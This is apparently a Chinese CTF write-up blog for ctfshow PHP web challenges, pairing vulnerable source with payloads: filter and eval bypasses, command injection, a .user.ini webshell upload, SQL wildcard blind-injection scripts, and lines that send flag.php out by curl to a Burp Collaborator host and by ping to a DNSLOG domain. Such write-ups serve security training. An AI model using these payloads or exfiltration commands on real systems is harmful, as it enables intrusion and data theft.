15
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";

可以用上一道题的payload。

也可以用伪协议配合多级符号链接的办法进行绕过。

1
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
1
php://filter/resource=flag.php

**web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

主要考察trim绕过,从源码可以看出,过滤的空白字符少了一个\f,用%0c过。并且,is_numeric函数开始判断之前,首先会跳过所有空白字符。

payload

1
?num=%0c36

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

第一个点在于PHP变量命名是不允许使用点号的,存在点号的参数出入后会被解析成下划线_

yu22x师傅提到用Fuzz的方式暴力破解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) {
for ($j=0; $j <=128 ; $j++) {
$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
if(curl($url,$data)!=0){
echo $data."\n";
}
}
}

//test.php
<?php
if(isset($_POST['CTF_SHOW.COM'])){
echo 123;
}

发现CTF[SHOW.COM是可以绕过的。

第二个知识点:

1
2
3
4
5
6
7
8
9
10
11
12
13
1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

相当于$a[0]=$_SERVER['QUERY_STRING'],所以payload:

1
2
get:  $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

再来一个非预期解

1
post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

预期解:

1
2
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
1
2
3
4
5
6
7
<?php
$a=$_SERVER['argv'];
var_dump($a);

//传入 a=1+fl0g=flag_give_me
//结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

Payload:

1
2
get:  $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

预期解:

1
2
GET:?1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

payload

1
2
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

或者

1
2
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

还是用123题目的脚本进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) {
for ($j=0; $j <=128 ; $j++) {
$data="ctf".urlencode(chr($i))."show"."=123";
if(curl($url,$data)!=0){
echo $data."\n";
}
}
}

//test.php
<?php
if(isset($_POST['ctf_show'])){
echo 123;
}

结果下面这些字符都等同于ctf_show

1
+ _ [ .

+在url起到空格的作用,payload

1
ctf show=ilove36d

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

考察点:gettext拓展的使用

在开启该拓展后 _() 等效于 gettext()

1
2
3
4
5
6
<?php
echo gettext("phpinfo");
//结果 phpinfo

echo _("phpinfo");
//结果 phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

?f1=_&f2=get_defined_vars

web129

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

预期解:

1
/ctfshow/../../../../var/www/html/flag.php

非预期解

PHP伪协议会忽略无效的编码方式

1
php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
rror_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

利用正则最大回溯次数绕过,回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。

python脚本如下:

1
2
3
4
5
6
7
import requests
url="http://5884fe43-69c8-4cdc-83bf-728fc1e41baf.chall.ctf.show/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

考察&&||运算符的应用。

x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y

payload

1
?a=admin&b=admin&c=admin

web133

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

这道题目挺绕的,主要考察命令执行的骚操作以及外带数据,curl -F的使用

1
2
3
4
5
6
传递参数?F=`$F `;sleep 3,可以发现后面的sleep 3这条语句确实执行了。
原因就是:
substr('`$F`;+sleep 3', 0, 6) = `$F `;
然后再调用eval("`$F`;");
此时,$F=`$F `;sleep 3
最后执行的代码就是:``$F `;sleep 3`

然后就是利用curl带出flag.php。

curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

payload:

1
?F=`$F`;+curl -X POST -F xx=@flag.php http://wtt33xn74ddcsjguu6symf2l3c94xt.burpcollaborator.net

web134

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

考察数组变量覆盖,举个例子:

1
2
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

传入?_POST['a']=123,输出array(1) { ["'a'"]=> string(3) "123" }

Payload:

1
?_POST[key1]=36d&_POST[key2]=36d

web135

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

web131的升级版,直接把flag.php读出来再重定向到另外一个文件,访问即可。

1
?F=`$F`;+nl flag.php>flag

另外预期解提到使用Ping命令带出数据,我试了一下没能成功。

1
?F=`$F`;+ping `cat flag.php|awk 'NR==2'`.yex0qj.dnslog.cn

但是经过测试单独的ping命令确实是可以执行成功。

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

感觉是考察命令执行,Linux中可以使用tee命令写文件。

1
ls /|tee file

返回flag文件名f149_15_h3r3

nl /f149_15_h3r3 | tee file

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

call_user_func($_POST['ctfshow']);

双冒号可以不用实例化一个类的情况下调用类的静态方法。

1
ctfshow=ctfshow:getFlag

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

PHP官方文档中的一个例子:

所以可以使用数组来绕过:

1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

相比136这次没有写文件的权限了,但是最开始提到可以sleep,那么就可以用盲注的形式先猜文件名,再猜flag。

1

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

PHP弱类型比较和函数运用

从表中可以发现,0和字符串比较为True,也就是intval($code)需要返回一个0,并且intval会将非数字字符转换为0。

1
2
3
4
md5(phpinfo())
md5(sleep())
md5(md5)
usleep(usleep())

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

要求v1和v2是数字,v3非字母数字和下划线,并且还要绕过return。

关于return这个点,PHP中数字是可以和命令进行一些运算的,比如1-phpinfo()是可以成功执行phpinfo语句的。现在还要利用取反或者异或来绕过preg_match。直接上羽师傅的脚本,收藏了。。

1
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8b%9e%9c%df%99%d5)-&v2=1

web142

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
1
2
?v1=0
?v1=0x0

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

过滤了±,还可以用*;过滤了~,还可以用异或^

1
?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")?>&v2=1

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

稍微变化一下:

1
?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8b%9e%9c%df%99%d5)&v3=-

web145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

使用三目运算符:

1
v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

太秀了。

web入门 文件上传

web153

使用.user.ini解析绕过

首先上传一个.user.ini文件,内容:

1
auto_prepend_file=01.png

在上传一个01.png的Webshell

1
<?php system('../flag.php'); ?>

web154&155

忘记了。。。

Web156

对文件内容进行审查,测试之后发现会拦截关键字php,不过好像可以大小写绕过。但是用了一个骚姿势

还是上传一个.user.ini,并且更改UA

再上传一个webshell

web157

直接包含.user.ini

web158

沿用上一个payload

web159

沿用上一个payload

web160&web161

web161好像过滤了关键字log

web162

折腾了我半天。。包含session文件。

首先在.user.ini文件中直接包含session文件

上传文件条件竞争

web163

web入门 SQL注入

web171&172

联合查询注入

web173

联合查询注入/报错注入

月饼杯

web1_此夜圆

考点:PHP反序列化字符串逃逸

1
?1=FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}

参考:https://xz.aliyun.com/t/6718

web2_故人心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}

考察PHP的一些特性,第一关就歇菜了。

php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。用科学计数法来代替,即 1e-162 到 1e-323

第二关md2弱比较。根据hinthint.txt:

1
2
3
4
5
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))

用Python跑md2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Hash import MD2


def md2(s):
obj = MD2.new()
obj.update(s.encode())
return obj.hexdigest()


def check(id):
d = '0e' + str(id) + '024452'
# d = '0e' + str(id) + '024452'
enc = md2(d)
if enc[:2] == '0e' and enc[2:].isdigit():
print(d)
return True
return False


if __name__ == '__main__':
for i in range(100, 99999):
if check(i):
break

最后b=0e652024452,c=0e603448399

最后一关php会将不认识的协议当作目录,payload:

1
2
?a=1e-300&b=0e652024452&c=0e603448399
POST: url=a://ctfshow.com/../../../../../../fl0g.txt

web3_莫负婵娟

1
2
3
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

测试后发现过滤了' " \ - # % () ^ union, select, sleep 等等,闭合sql语句注入应该不行了,再看下发现比较时是like,想到sql通配符

1
2
%:用来表示0个或多个字符
_:用来表示任意单个字符

当测试到32个_字符时,回显发生了变化,简单来说应该是盲注了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string


url = """http://c8b61d08-4760-4f23-834c-eccc201ee37d.chall.ctf.show/login.php"""
strings = string.ascii_letters + string.digits
flag = ""

for i in range(100):
for s in strings:
payload = flag + s + (32-i) * '_'
data = {"username": "yu22x", "password": payload}
r = requests.post(url, data=data)
if "wrong" not in r.text:
flag += s
print(flag)
break
print(flag)
# 67815b0c009ee970fe4014abaa3Fa6A0

登录后发现是一个curl命令执行界面,过滤了

1
小写字母 | () / \ ` * , < > !

还可以使用

1
大写字母 ? $ { } : ; .

一开始想到DNSLOG外带数据,后来发现可以直接访问VPS外带数据。

题目提示使用环境变量 +linux字符串截取 + 通配符,Linux下环境变量$PATH$PWD$HOME

再用Linux字符串截断获取cat,以及用通配符表示flag.php

1
ip=127.0.0.1;${PATH:7:1}${PATH:8:1}${HOME:12:1} ????.???
Copyright © ca01h 2019-2021 | 本站总访问量